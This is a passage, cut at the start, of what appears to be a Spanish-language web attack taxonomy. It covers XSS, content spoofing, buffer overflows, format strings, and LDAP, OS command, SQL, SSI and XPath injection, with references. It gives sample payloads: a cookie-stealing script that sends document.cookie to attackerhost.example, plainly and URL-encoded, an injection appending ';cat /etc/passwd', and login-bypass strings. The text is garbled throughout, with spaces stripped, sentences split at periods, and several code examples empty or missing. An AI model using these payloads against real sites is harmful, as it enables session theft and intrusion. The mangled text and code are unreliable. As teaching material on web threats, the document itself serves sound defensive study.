example),perolosdatosajenosseencuentranenvueltosdentrodelcontenidolegítimo.
Enlaceshábilmenteconstruidospuedenserenviadosalusuariovíacorreoelectrónico,mensajesinstantáneos,boletinesdenoticias,oforzadossobrelosusuariosmedianteataquesdecross-sitescripting.
SiunatacanteconsiguequeunusuariovisiteunapáginawebdiseadamedianteunaURLmaliciosa,elusuariopensaráqueestaviendocontenidoauténticodesdeunaubicaciónquenoloes.
Losusuariosimplícitamenteconfiaránenelcontenidosuplantadoyaquedesdelabarradedireccionesdelnavegadormuestrahttp://foo.
example,cuandodehecho,elmarcoHTMLsubyacenteestáreferenciandoa:http://attacker.
example.
Esteataqueexplotalaconfianzaestablecidaentreelusuarioyelsitioweb.
Latécnicahasidousadaparacrearpáginaswebfalsasincluyendoformulariosdeautenticación,desfiguracionesdepáginaswebyfalsoscomunicados.
EjemploCreandounfalsocomunicadodeprensa.
SupongamosqueunsitiowebusamarcosHTMLcreadosdinámicamenteparasuspáginaswebdecomunicadosdeprensa.
Unusuariovisitaríaunlinktalcomo:(http://foo.
example/prpg=http://foo.
example/pr/01012003.
html).
LapáginawebHTMLsería:Fragmentodecódigo:Laaplicaciónweb"pr"delejemploanteriorcreaelHTMLconunmenúestáticoyunFRAMESRCgeneradodinámicamente.
Elframe"pr_content"cargaelorígendesdeelvalordelparametro"pg"delaURLparamostrarelcontenidodelcomunicadodeprensasolicitado.
PeroqueocurriríasiunatacantealteralaURLhabitualahttp://foo.
example/prpg=http://attacker.
example/spoofed_press_release.
htmlSinunapropiadochequeodesaneamientosobreelvalor"pg",elHTMLresultantesería:Fragmentodecódigo:Paraelusuariofinal,elcontenidosuplantadode"attacker.
example"aparececomoauténticoyentregadodesdeunafuentelegítima.
Referencias"Anewspoof:allframes-basedsitesarevulnerable"-SecureXpertLabshttp://tbtf.
com/archive/11-17-98.
html#s02Cross-siteScriptingCross-siteScripting(XSS)esunatécnicadeataquequefuerzaunsitiowebarepetirelcódigoejecutablesuminitradoporunatacante,elcualsecargaenelnavegadordelusuario.
ElcódigonormalmenteestáescritoenHTML/JavaScript,perotambiénpuedeextenderseaVBScript,ActiveX,Java,Flash,ocualquierotratecnologíasoportadaporelnavegador.
Cuandounatacanteconsiguequeelnavegadordeunusuarioejecutesucódigo,elcódigoseejecutarádentrodelcontextodeseguridad(ozona)delsitioweb.
Conesteniveldeprivilegio,elcódigotienelahabilidaddeleer,modificarytransmitircualquierdatosensibleaccesibleporelnavegador.
Unusuarioobjetodeesteataquepodríatenersucuentasecuestrada(robodecookie),sunavegadorredirigidoaotradirección,oposiblementemostrandocontenidofraudulentoentregadoporelsitiowebqueestávisitando.
LosataquesdeCross-siteScriptingcomprometenesencialmentelarelacióndeconfianzaentreelusuarioyelsitioweb.
HaydostiposdeataquesCross-siteScripting,persistentesynopersistentes.
Losataquesnopersistentesrequierenqueunusuariovisiteunenlaceespecialmentediseadoqueincluyecódigomalicioso.
Alvisitaresteenlace,elcódigoincrustadoenlaURLserárepetidoyejecutadodentrodelnavegadorwebdelusuario.
Losataquespersistentestienenlugarcuandoelcódigomaliciosoespresentadoalsitiowebdondesealmacenaduranteunperíododetiempo.
Ejemplosdedestinosfavoritosdelosatacantesamenudoincluyenforos,mensajesdecorreowebysoftwaredechatsobreweb.
Alusuarioconfiadonoselerequierehacerclickenningúnenlace,sólosimplementeverlapáginawebconteniendoelcódigo.
EjemploAtaquepersistenteMuchossitioswebhospedanboletinesdenoticiasdondeusuariosregistradospuedenpublicarmensajes.
AunusuarioregistradocomúnmenteselesiguelapistausandounacookiedeIDdesesiónautorizándoleparapublicarmensajes.
Siunatacantepublicóunmensajeconteniendounjavascripthábilmenteconstruido,unusuarioleyendoestemensajepodríatenersuscookiesysucuentacomprometidas.
Fragmentodecódigoderobodecookie:document.
location='http://attackerhost.
example/cgi-bin/cookiesteal.
cgi'+document.
cookieAtaquenopersistenteNumerososportaleswebofrecenunavisiónpersonalizadadeunsitiowebysaludanaunusuarioautenticadoconelmensaje"Bienvenido".
AlgunasveceseldatoquereferenciaalusuarioautenticadoesalmacenadodentrodelacadenadeconsultadelaURLymostradoenlapantalla.
EjemplodeURLdeportalhttp://portal.
example/index.
phpsessionid=12312312&username=JoeEnelejemploanteriorvemosqueelnombredeusuario"Joe"esalmacenadoenlaURL.
Lapáginawebresultantemuestraunmensajede"BienvenidoJoe".
SiunatacantehubieramodificadoelcampodelnombredeusuarioenlaURL,insertandounjavascriptderobodecookie,seríaposibleganarelcontroldelacuentadeusuario.
UngranporcentajedegentesospecharíasivieranjavascriptincrustadoenlaURL,porloquelamayorpartedelasvecesunatacantecodificaráenlaURLsucargadecódigomaliciosodeformasimilaralsiguienteejemplo.
EjemplodeunaURLcodificadaderobodecookie:http://portal.
example/index.
phpsessionid=12312312&username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3EEjemplodecodificadodeunaURLderobodecookie:http://portal.
example/index.
phpsessionid=12312312&username=document.
location='http://attackerhost.
example/cgi-bin/cookiesteal.
cgi'+document.
cookieReferencias"CERTAdvisoryCA-2000-02MaliciousHTMLTagsEmbeddedinClientWebRequests"http://www.
cert.
org/advisories/CA-2000-02.
html"TheCrossSiteScriptingFAQ"–CGISecurity.
comhttp://www.
cgisecurity.
com/articles/xss-faq.
shtml"CrossSiteScriptingInfo"http://httpd.
apache.
org/info/css-security/"24CharacterentityreferencesinHTML4"http://www.
w3.
org/TR/html4/sgml/entities.
html"UnderstandingMaliciousContentMitigationforWebDevelopers"http://www.
cert.
org/tech_tips/malicious_code_mitigation.
html"Cross-siteScripting:Areyourwebapplicationsvulnerable",ByKevinSpett–SPIDynamicshttp://www.
spidynamics.
com/whitepapers/SPIcross-sitescripting.
pdf"Cross-siteScriptingExplained",ByAmitKlein-Sanctumhttp://www.
sanctuminc.
com/pdf/WhitePaper_CSS_Explained.
pdf"HTMLCodeInjectionandCross-siteScripting",ByGunterOllmannhttp://www.
technicalinfo.
net/papers/CSS.
htmlEjecucióndecomandosElcapítulo"Ejecucióndecomandos"abarcalosataquesdiseadosparaejecutarcomandosremotosenelsitioweb.
Todoslossitioswebutilizandatossuministradosporelusuarioparasatisfacerpeticiones.
Amenudolosdatosfacilitadosporelusuariosonusadosparacrearcomandosdeconstrucciónresultandoencontenidodinámicodeunapáginaweb.
Siesteprocesoeshechodeformanosegura,unatacantepuedealterarlaejecuciondecomandos.
DesbordamientodebufferLaexplotacióndeundesbordamientodebufferesunataquequealteraelflujodeunaaplicaciónsobreescribiendopartesdelamemoria.
Eldesbordamientodebufferesundefectocomúndelsoftware,queresultaenunacondicióndeerror.
Estacondicióndeerrorocurrecuandolosdatosescritosenlamemoriaexcedeneltamaoreservadoenelbuffer.
Cuandoelbufferesdesbordado,direccionesdememoriaadyacentessonsobreescritascausandoqueelsoftwarefalleoterminedemanerainesperada.
Cuandoessinrestricciónelingresodedatos,realizadodeunamaneradeterminada,puedeserusadoparadesbordarelbufferresultandoenvariosproblemasdeseguridad.
Undesbordamientodebufferpuedeserusadocomounataquededenegacióndeserviciocuandolamemoriaescorrompida,resultandoenunfallodelsoftware.
Aúnmáscriticoeslacapacidaddeunataquededesbordamientodebufferparaalterarelflujodeunaaplicaciónyforzaraccionesinvoluntarias.
Esteescenariopuedeocurrirdemuchasformas.
Lasvulnerabilidadesdedesbordamientodebufferhansidousadasparasobreescribirpunterosdepilayredirigirelprogramaparaejecutarintruccionesmaliciosas.
Losdesbordamientosdebuffertambiénhansidousadosparacambiarvariablesdelprograma.
Lasvulnerabilidadesdedesbordamientodebuffersehanvueltobastantecomunesenelsectordelaseguridadinformáticayhanacaparadolosservidoreswebconfrecuencia.
Sinembargo,ellasnohansidocomúnmentevistasoexplotadasenlamismacapadeaplicación.
Larazónprincipalesqueunatacantenecesitaanalizarelcódigofuentedelaaplicaciónoelarchivobinariodelsoftware.
Dadoqueelatacantedebeexplotarcódigoamedidaenunsistemaremoto,tendríaqueejecutarelataquedeformaciega,siendomuydificilconseguireléxitoesperado.
LasvulnerabilidadesdedesbordamientodebufferocurrengeneralmenteenlenguajesdeprogramacióncomoCyC++.
UndesbordamientodebufferpuedeocurrirenunprogramaCGIocuandounapáginawebaccedeaunprogramaenC.
Referencias"InsidetheBufferOverflowAttack:Mechanism,MethodandPrevention",ByMarkE.
Donaldson-GSEChttp://www.
sans.
org/rr/code/inside_buffer.
php"w00w00onHeapOverflows",ByMattConover-w00w00SecurityTeamhttp://www.
w00w00.
org/files/articles/heaptut.
txt"SmashingTheStackForFunAndProfit",ByAlephOne-Phrack49http://www.
insecure.
org/stf/smashstack.
txtAtaquesdeformatodecadenaLosataquesdeformatodecadenaalteranelflujodeunaaplicacionusandofuncionalidadesdelibreríasdeformatosdecadenaparaaccederaotrosespaciosdememoria.
LasvulnerabilidadesocurrencuandolosdatosfacilitadosporelusuariosonusadosdirectamentecomoparámetrosdeformatodecadenasdeciertasfuncionesdeC/C++(porejemplo:fprintf,printf,sprintf,setproctitle,syslog,.
.
.
).
Siunatacantepasaunformatodecadenaconsistiendoencaracteresdeconversióndeprintf(porejemplo:"%f","%p","%n",etc.
)comounvalordeparámetrohacialaaplicaciónweb,podría:EjecutarcódigoarbitrarioenelservidorLeerlosvaloresdelapilaCausarfallosdesegmentación/terminacióninesperadadelsoftwarare.
EjemploAsumamosqueunaaplicacionwebtieneunparámetroemailAddress,facilitadoporelusuario.
Laaplicaciónmuestraelvalordeestavariableusandolafuncionprintf:printf(emailAddress);SielvalorenviadoenelparámetroemailAddresstienecaracteresdeconversión,printfinterpretarálaconversióndecaracteresyusaráloscorrespondientesargumentosespecificadosadicionalmente.
Siestosargumentosnoexistenrealmente,datosdelapilaseránusadosdeacuerdoalordenesperadoporlafunciónprintf.
Losposiblesusosdeunataquedeformatodecadenaentalescasos,puedenser:Leerdatosdelapila:silasalidadelafunciónprintfesmostradaalatacante,estepodríaleervaloresdelapilaenviandocaracteresdeconversión"%x"(unaovariasveces).
Leercadenasdecaracteresdelamemoriadelproceso:silasalidadelafunciónprintfesmostradaalatacante,estepodríaleercadenasdecaracteresdeposicionesarbitrariasdememoriausandoelcaracterdeconversión"%s"(yotroscaracteresdeconversiónconelobjectivodealcanzarposicionesespecíficas).
Escribirunenteroenposicionesdelamemoriadelproceso:usandoelcaracterdeconversión"%n",unatacantepodríaescribirunvalorenteroencualquierposicióndelamemoria.
(porejemplo:sobreescribirbanderasimportantesdelprogramaquecontrolanprivilegiosdeacceso,osobreescribirdireccionesderetornoenlapila,etc.
)Referencias"(Maybe)thefirstpubliclyknownFormatStringsexploit"http://archives.
neohapsis.
com/archives/bugtraq/1999-q3/1009.
html"Analysisofformatstringbugs",ByAndreasThuemmelhttp://downloads.
securityfocus.
com/library/format-bug-analysis.
pdf"Formatstringinputvalidationerrorinwu-ftpdsite_exec()function"http://www.
kb.
cert.
org/vuls/id/29823InyecciónLDAPLainyeccionLDAPesunatécnicadeataqueusadaparaexplotarsitioswebquecontruyensentenciasLDAPdirectamentedesdedatosfacilitadosporelusuario.
LightweightDirectoryAccessProtocol(LDAP)esunprotocoloestándarabiertoparaconsultarymanipularserviciosdedirectorioX.
500.
ElprotocoloLDAPseejecutasobreprotocolosdetransportedeInternet,comoesTCP.
LasaplicacioneswebpuedenusardatosfacilitadosporelusuarioparacrearsentenciasLDAPparapeticionesdepáginaswebdinámicas.
Cuandounaaplicaciónwebnorealizaunsaneamientoadecuadodelosdatosfacilitadosporelusuario,esposibleparaunatacantealterarlacontruccióndelasentenciaLDAP.
CuandounatacantepuedemodificarunasentenciaLDAP,elprocesoseejecutaráconlosmismospermisosdelcomponentequeejecutóelcomando.
(porejemplo:servidordebasededatos,servidordeaplicaciónweb,servidorweb,etc.
).
Estopuedecausargravesproblemasdeseguridaddondelospermisosestablecenderechosdeconsulta,modificaciónoeliminacióndecualquierelementodentrodelárbolLDAP.
LasmismastécnicasavanzadasdeexplotacióndisponiblesparainyeccióndecódigoSQLpuedenseraplicadasdeformasimilaralainyecciónLDAP.
EjemploCódigovulnerableconcomentarios:line0:line1:line2:line3:Invalidrequest.
Pleasespecifyavalidusername")line14:Response.
End()line15:endifline16:line17:line18:filter="(uid="+CStr(userName)searchingfortheuserentryline19:line20:line21:'CreatingtheLDAPobjectandsettingthebasednline22:SetldapObj=Server.
CreateObject("IPWorksASP.
LDAP")line23:ldapObj.
ServerName=LDAP_SERVERline24:ldapObj.
DN="ou=people,dc=spilab,dc=com"line25:line26:'Settingthesearchfilterline27:ldapObj.
SearchFilter=filterline28:line29:ldapObj.
Searchline30:line31:'Showingtheuserinformationline32:WhileldapObj.
NextResult=1line33:Response.
Write("")line34:line35:Response.
Write("Userinformationfor:"+ldapObj.
AttrValue(0)+"")line36:Fori=0ToldapObj.
AttrCount-1line37:Response.
Write(""+ldapObj.
AttrType(i)+":"+ldapObj.
AttrValue(i)+"")line38:Nextline39:Response.
Write("")line40:Wendline41:%>line42:line43:Viendoelcódigo,observamosenlalinea10quelavariableuserNameestáinicializadaconelvalordelparámetrousuarioyluegorápidamentevalidadaparaversielvaloresnulo.
Sielvalornoesnulo,lavariableuserNameesusadaparainicializarlavariablefilterenlalinea18.
EstanuevavariableesutilizadadirectamenteparaconstruirunaconsultaLDAPqueseráusadaenlallamadaaSearchFilterenlalinea27.
Enesteescenario,elatacantetienecontrolcompletosobreloqueseráconsultadoenelservidorLDAP,yobtendráelresultadodelaconsultacuandoelcódigolleguedelalinea32hastala40,dondetodoslosresultadosysusatributossonmostradosalusuario.
Ejemplodeataquehttp://example/ldapsearch.
aspuser=*Enelejemploanterior,enviamoselcaracter*enelparámetrouserelcualacabaráenlavariablefilterenelcódigoqueseráinicializadocon(uid=*).
LasentenciaLDAPresultanteharáretornaralservidorcualquierobjetoquecontengaunatributouid.
Referencias"LDAPInjection:AreYourWebApplicationsVulnerable",BySachaFaust–SPIDynamicshttp://www.
spidynamics.
com/whitepapers/LDAPinjection.
pdf"AStringRepresentationofLDAPSearchFilters"http://www.
ietf.
org/rfc/rfc1960.
txt"UnderstandingLDAP"http://www.
redbooks.
ibm.
com/redbooks/SG244986.
html"LDAPResources"http://ldapman.
org/ComandosdesistemaoperativoElusodecomandosdesistemaoperativoesunatécnicadeataqueutilizadaparaexplotarsitioswebqueejecutancomandosdesistemaoperativo,atravésdelamanipulaciondelasentradasalaaplicacion.
Cuandounaaplicaciónwebnorealizadeformaadecuadaelsaneamientodelosdatosfacilitadosporelusuarioantesdeusarlosenelcódigodelaaplicación,esposibleengaaralaaplicaciónparaqueejecutecomandosdesistemaoperativo.
Loscomandosseránejecutadosconlosmismospermisosdelcomponentequeejecutóelcomando(porejemplo:servidordebasededatos,servidordeaplicacionesweb,servidorweb,etc.
)EjemploPerlpermiteredireccionardatosdesdeunprocesohaciaunasentenciaopen,estosehaceagregandouncaracter'|'alfinaldelnombredeunarchivo.
Ejemplosderedireccionamientoconelcarácter'|':#Execute"/bin/ls"andpipetheoutputtotheopenstatementopen(FILE,"/bin/ls|")Lasaplicacioneswebnormalmenteincluyenparámetrosqueespecificanunarchivoqueesmostradoousadocomoplantilla.
Silaaplicaciónwebnorealizadeformaadecuadaelsaneamientodelosdatosfacilitadosporelusuario,unatacantepodríamodificarelvalordelparámetroparaincluiruncomandoshellseguidoporelsímboloderedireccionamiento(mostradoarriba).
SilaURLoriginaldelaaplicaciónwebes:http://example/cgi-bin/showInfo.
plname=John&template=tmp1.
txtModificandoelvalordelparámetrotemplate,elatacantepuedeengaaralaaplicaciónwebparaejecutarelcomando/bin/ls:http://example/cgi-bin/showInfo.
plname=John&template=/bin/ls|Lamayoríadeloslenguajesdescriptpermitenalosprogramadoresejecutarcomandosdesistemaoperativodurantelaejecucióndelaaplicación,usandovariasfuncionesexec.
Silaaplicaciónwebpermitequelosdatosfacilitadosporelusuarioseanusadosenlasllamadasaesasfuncionesdirectamente,sinsersaneadosdelaformaapropiada,seríaposibleparaunatacanteejecutarcomandosdesistemaoperativodeformaremota.
Porejemplo,acontinuaciónseexponeunapartedeunscriptPHPelcualmuestraelcontenidodeundirectoriodesistema(ensistemasUnix):Ejecutauncomandoshell:exec("ls-la$dir",$lines,$rc);Agregandounpuntoycoma(;)seguidoporuncomandodesistemaoperativo,esposibleforzaralaaplicaciónwebaejecutarunsegundocomando:http://example/directory.
phpdir=%3Bcat%20/etc/passwdElresultadomostraráelcontenidodelfichero/etc/passwd.
Referencias"PerlCGIProblems",ByRFP-PhrackMagazine,Issue55http://www.
wiretrip.
net/rfp/txt/phrack55.
txt(See"Thatpeskypipe"section)"MarcusXenakisdirectory.
phpShellCommandExecutionVulnerability"http://www.
securityfocus.
com/bid/4278"NCSASecureProgrammingGuidelines"http://archive.
ncsa.
uiuc.
edu/General/Grid/ACES/security/programming/#cgiInyeccióndecódigoSQLLainyecciondecódigoSQLesunatécnicadeataqueusadaparaexplotarsitioswebqueconstruyensentenciasSQLdirectamenteapartirdedatosfacilitadosporelusuario.
StructuredQueryLanguage(SQL)esunlenguajeespecializadodeprogramaciónpararealizarconsultasabasesdedatos.
Lamayoríadelasaplicacionesdebasededatos,yaseanpequeasograndes,puedenseraccedidasusandosentenciasSQL.
SQLesunestándarISOyANSI.
Sinembargo,muchosproductosdebasededatosquesoportanSQLlohacenconextensionesalestándar.
LasaplicacioneswebpuedenusardatosfacilitadosporelusuarioparacrearsentenciasSQLparapeticionesdepáginaswebdinámicas.
Cuandounaaplicaciónwebnorealizadelaformaapropiadaelsaneamientodelosdatosfacilitadosporelusuario,esposibleparaunatacantealterarlacontruccióndelassentenciasSQL.
CuandoelatacantepuedemodificarunasentenciaSQL,elprocesoseejecutaráconlosmismospermisosqueelcomponentequeejecutóelcomando(porejemplo:servidordebasededatos,servidordeaplicacionesweb,servidorweb,etc.
).
Elimpactodeesteataquelepuedepermitiralatacanteobtenercontroltotalsobrelabasededatosotambiénejecutarcomandosenelsistema.
LasmismastécnicasdeexplotaciónavanzadasdisponiblesenlainyecciónLDAPpuedenseraplicadasdeformasimilarenlainyeccióndecódigoSQL.
EjemploUnaautenticaciónbasadaenwebpodríausaruncódigosimilaralsiguiente:SQLQuery="SELECTUsernameFROMUsersWHEREUsername='"&strUsername&"'ANDPassword='"&strPassword&"'"strAuthCheck=GetQueryResult(SQLQuery)Enestecódigo,eldesarrolladorestátomandolosdatosfacilitadosporelusuariodesdeelformularioyconcatenándolosdirectamenteenlaconsultaSQL.
Suponiendoqueunatacanteenvíaunusuarioycontraseasimilaresalossiguientes:Login:'OR''='Password:'OR''='EstoprovocaráquelaconsultaSQLresultantesea:SELECTUsernameFROMUsersWHEREUsername=''OR''=''ANDPassword=''OR''=''EnlugardecompararlosdatossuministradosporelusuarioconlasentradasenlatablaUsers,laconsultacompara''(cadenavacía)con''(cadenavacía).
EstodevolveráunresultadoTrueyelatacanteiniciarásesiónconelprimerusuariodelatablaUsers.
ExistendosmétodosampliamenteconocidosdeinyeccióndecódigoSQL:inyecciónnormaldecódigoSQLeinyecciónciegadecódigoSQL.
ElprimeroeslainyeccióndecódigoSQLenlacualelatacantepuedeformatearsuconsultaparaemparejarlaconladeldesarrollador,utilizandolainformacióncontenidaenlosmensajesdeerrorquesondevueltosenlarespuesta.
InyecciónnormaldecódigoSQLAgregandounasentenciaunionselectalparámetro,elatacantepuederealizarpruebasparaversipuedeobteneraccesoalabasededatos:http://example/article.
aspID=2+union+all+select+name+from+sysobjectsElservidorSQLpodríaretornarunerrorsimilaralsiguiente:MicrosoftOLEDBProviderforODBCDriverserror'80040e14'[Microsoft][ODBCSQLServerDriver][SQLServer]AllqueriesinanSQLstatementcontainingaUNIONoperatormusthaveanequalnumberofexpressionsintheirtargetlists.
EstoleinformaalatacantequeahoradebeadivinarelnúmerocorrectodecolumnasparaquelasentenciaSQLseejecutecorrectamente.
InyecciónciegadecódigoSQLEnlainyecciónciegadecódigoSQL,envezderetornarunerrordebasededatos,elservidorretornaunapáginadeerroramigablealusuario,informándolequehaocurridounerror.
Enesteescenario,lainyeccióndecodigoSQLtodavíaesposible,peronoessencilladedetectar.
UnaformahabitualdedetectarlainyecciónciegadecódigoSQLesaadirunasentenciadeverdaderoofalsoenelvalordelparámetro.
Ejecutandolasiguientepeticiónenunsitioweb:http://example/article.
aspID=2+and+1=1deberíaretornarlamismapáginawebque:http://example/article.
aspID=2porquelasentenciaSQL'and1=1'siempreesverdadera.
Ejecutandolasiguientepeticiónenunsitioweb:http://example/article.
aspID=2+and+1=0causaríaqueelsitiowebretornaraunerroramigableoningunapágina.
EstoesasíporquelasentenciaSQL"and1=0"siempreesfalsa.
UnavezqueelatacantedescubrequeunsitioesvulnerableainyecciónciegadecódigoSQL,puedeexplotarestavulnerabilidadmásfácilmenteque,enalgunoscasos,usandoinyecciónnormaldecódigoSQL.
Referencias"SQLInjection:AreyourWebApplicationsVulnerable"–SPIDynamicshttp://www.
spidynamics.
com/support/whitepapers/WhitepaperSQLInjection.
pdf"BlindSQLInjection:AreyourWebApplicationsVulnerable"–SPIDynamicshttp://www.
spidynamics.
com/support/whitepapers/Blind_SQLInjection.
pdf"AdvancedSQLInjectioninSQLServerApplications",ChrisAnley-NGSSoftwarehttp://www.
nextgenss.
com/papers/advanced_sql_injection.
pdf"MoreadvancedSQLInjection",ChrisAnley-NGSSoftwarehttp://www.
nextgenss.
com/papers/more_advanced_sql_injection.
pdf"WebApplicationDisassemblywithODBCErrorMessages",DavidLitchfield-@stakehttp://www.
nextgenss.
com/papers/webappdis.
doc"SQLInjectionWalkthrough"http://www.
securiteam.
com/securityreviews/5DP0N1P76E.
html"BlindSQLInjection"-Impervahttp://www.
imperva.
com/application_defense_center/white_papers/blind_sql_server_injection.
html"SQLInjectionSignaturesEvasion"-Impervahttp://www.
imperva.
com/application_defense_center/white_papers/sql_injection_signatures_evasion.
html"IntroductiontoSQLInjectionAttacksforOracleDevelopers"-Integrigyhttp://www.
net-security.
org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.
pdfInyeccióndecódigoSSILainyeccióndecódigoSSI(server-sideInclude)esunatécnicadeexplotaciónenlapartedelservidorquepermiteaunatacanteenviarcódigoalaaplicaciónweb,elcualseráluegoejecutadolocalmenteporelservidor.
LainyeccióndecódigoSSIexplotalavulnerabilidadintroducidaporunaaplicacionwebquenorealizadeformaadecuadaelsaneamientodelosdatosfacilitadosporelusuario,antesdequeseaninsertadosenunarchivoHTMLinterpretadoporelservidor.
AntesdeservirunapaginawebHTML,unservidorwebpuedeinterpretaryejecutarsentenciasSSI.
Enalgunoscasos(porejemplo:foros,librosdevisitas,sistemasdeadministraciondecontenido,etc.
)unaaplicaciónwebinsertarálosdatosfacilitadosporelusuarioenelcódigofuentedeunapáginaweb.
SiunatacanteenviaunasentenciaSSI,podríatenerlacapacidaddeejecutarcomandosarbitrariosdesistemaoperativo,oincluirelcontenidodeunarchivorestringidolasiguientevezquelapáginaseaservida.
EjemploLasiguienteetiquetaSSIpuedepermitiraunatacanteobtenerellistadodeldirectorioraízenunsistemabasadoenUnix.
LasiguienteetiquetaSSIpuedepermitiraunatacanteobtenerlacadenadeconexiónalabasededatos,uotrosdatossensiblesqueseencuentrendentrodeunarchivodeconfiguracionde.
NET.
Referencias"ServerSideIncludes(SSI)"–NCSAHTTPdhttp://hoohoo.
ncsa.
uiuc.
edu/docs/tutorials/includes.
html"SecurityTipsforServerConfiguration"–ApacheHTTPDhttp://httpd.
apache.
org/docs/misc/security_tips.
html#ssi"HeaderBasedExploitation:WebStatisticalSoftwareThreats"–CGISecurity.
comhttp://www.
cgisecurity.
net/papers/header-based-exploitation.
txt"Apracticalvulnerabilityanalysis"http://hexagon.
itgo.
com/Notadetapa/a_practical_vulnerability_analys.
htmInyecciónXPathLainyecciónXPathesunatécnicadeataqueusadaparaexplotarsitioswebqueconstruyenconsultasXPATHdirectamenteapartirdedatosfacilitadosporlosusuarios.
XPath1.
0esunlenguajeusadoparareferirseapartesdeundocumentoXML.
PuedeserusadodirectamenteporunaaplicaciónparaconsultarundocumentoXML,ocomopartedeunaoperaciónmayorcomoaplicarunatransformacionXSLTaundocumentoXML,oaplicandounaXQueryaundocumentoXML.
LasintaxistieneunaciertasemejanzaaunaconsultaSQL,ydehecho,esposibleformarconsultastipoSQLenundocumentoXMLusandoXPath.
Porejemplo,supongamosqueundocumentoXMLcontieneelementosdenombreuser,cadaunodeloscualescontienetressubelementos-name,passwordyaccount.
LasiguienteexpresionXPatchretornaelnúmerodecuentadelusuariocuyonombrees"jsmith"ysucontraseaes"Demo1234"(oretornaunacadenavacíasinoexisteelusuario)string(//user[name/text()='jsmith'andpassword/text()='Demo1234']/account/text())SiunaaplicaciónconstruyeconsultasXPathdeformadinámicaconcatenandodatosinsegurosfacilitadosporelusuario,resultaposibleparaunatacanteinyectardatosenlaconsultaquepermitanquelanuevaconsultaformadaconesosdatosseainterpretadadeformadiferentealaintencióndelprogramador.
EjemploConsideremosunaaplicaciónwebqueusaXPathparaconsultarundocumentoXMLyobtenerelnúmerodecuentaapartirdeunusuarioycontraseaenviadosporelcliente.
EstaaplicaciónpodríaconcatenardirectamenteestosvaloresenlaconsultaXPathcreandounagujerodeseguridad.
Ejemplo(usandoMicrosoftASP.
NETyC#):XmlDocumentXmlDoc=newXmlDocument();XmlDoc.
Load(".
.
.
");XPathNavigatornav=XmlDoc.
CreateNavigator();XPathExpressionexpr=nav.
Compile("string(//user[name/text()='"+TextBox1.
Text+"'andpassword/text()='"+TextBox2.
Text+"']/account/text())");Stringaccount=Convert.
ToString(nav.
Evaluate(expr));if(account==""){//name+passwordpairisnotfoundintheXMLdocument–//loginfailed.
}else{//accountfound->Loginsucceeded.
//Proceedintotheapplication.
}Cuandoestecódigoesejecutado,unatacantepuedeinyectarexpresionesXPath,comoporejemplo:facilitandoelsiguientevalorcomonombredeusuario:'or1=1or''='EstocausaquelasemánticadelXPathoriginalcambie,poresosiempreretornaelprimernúmerodecuentaeneldocumentoXML.
Laconsultaenestecasoserá:string(//user[name/text()=''or1=1or''=''andpassword/text()='foobar']/account/text())Lacualesidéntica(dadoquelaexpresiónesevaluadacomoverdaderaentodoslosnodos)a:string(//user/account/text())yretornalaprimerainstanciade//user/account/text().
Elataqueresultaenqueelatacanteiniciasesión(comoelprimerusuariolistadoeneldocumentoXML),aunqueelatacantenofaciliteningúnnombredeusuarioycontraseaválidos.
Referencias"XMLPathLanguage(XPath)Version1.
0"-W3CRecommendation,16Nov1999http://www.
w3.
org/TR/xpath"EncodingaTaxonomyofWebAttackswithDifferent-LengthVectors"-G.
AlvarezandS.
Petrovichttp://arxiv.
org/PS_cache/cs/pdf/0210/0210026.
pdf"BlindXPathInjection"-AmitKleinhttp://www.
sanctuminc.
com/pdfc/WhitePaper_Blind_XPath_Injection_20040518.
pdfRevelacióndeinformaciónElcapítulo"Revelacióndeinformación"abordalosataquesdiseadosparaadquiririnformaciónespecíficadelsistemasobreunsitioweb.
Lainformaciónespecíficadelsistemaincluyeladistribucióndesoftware,númerosdeversiónynivelesdeparcheado.
Lainformaciónpuedecontenerlaubicacióndeficherosdebackupyficherostemporales.
Enmuchoscasos,noserequiereladivulgacióndeestainformaciónparallevaracabolasnecesidadesdelusuario.
Lamayoríadesitioswebrevelaránunciertacantidaddedatos,perolomejoreslimitar,siemprequeseaposible,lacantidaddedatosquepuedenserrevelados.
Cuantamásinformaciónacercadelsitiowebdispongaelatacante,másfácilleresultarácomprometerelsistema.
IndexacióndedirectorioEllistado/indexaciónautomáticadedirectorioesunafuncióndelservidorwebquelistatodoslosficherosdeldirectoriosolicitadosielficheroíndicehabitual(index.
html/home.
html/default.
htm)noestápresente.
Cuandounusuariosolicitalapáginaprincipaldeunsitioweb,normalmenteescribeunaURLcomolasiguiente:http://www.
example–usandoelnombrededominioyexcluyendounficheroespecífico.
Elservidorwebprocesaestapeticiónybuscaeneldirectorioraízdelsitiowebelnombrepordefectodelficheroíndiceyenvíaestapáginaalcliente.
Silapáginanoseencuentra,elservidorwebobtendráunlistadodeldirectorioyenviarálasalidaalcliente.
Esencialmente,estoesequivalenteaejecutaruncomando"ls"(ensistemasUnix)o"dir"(ensistemasWindows)enestedirectorio,mostrandolosresultadosenformatoHTML.
Desdelaperspectivadeunataqueysucontramedida,esimportantecomprenderqueloslistadosnointencionadosdedirectoriopuedenserllevadosacabodebidoavulnerabilidadesdelsoftware(discutidoenelapartado"Ejemplo"mostradomásabajo)combinadoconunapeticiónwebespecífica.
Cuandounservidorwebrevelacontenidosdeundirectorio,ellistadopodríacontenerinformaciónquenoseesperaservistadeformapública.
Amenudo,losadministradoreswebdeleganlaseguridadenlallamada"seguridadatravésdeoscuridad"asumiendoquesinoexistenenlacesaestosrecursos,noseránencontradosonadielosbuscará.
Lasuposiciónesincorrecta.
Hoyendía,escáneresdevulnerabilidades,comoNikto,dinámicamentepuedenaadirdirectorios/archivosadicionalesparaincluirensuexploración,basándoseendatosobtenidosenpruebasiniciales.
Revisandoelfichero/robots.
txty/oviendoelcontenidodelaindexacióndedirectorios,elescánerdevulnerabilidadespuedeahorairmásallá,realizandopeticionesalservidorwebconestosnuevosdatos.
Aunquepuedaparecerinofensivo,laindexacióndedirectoriopuedepermitirunafugadeinformaciónqueproporcioneaunatacantelainformaciónnecesariaparalanzarnuevosataquescontraelsistema.
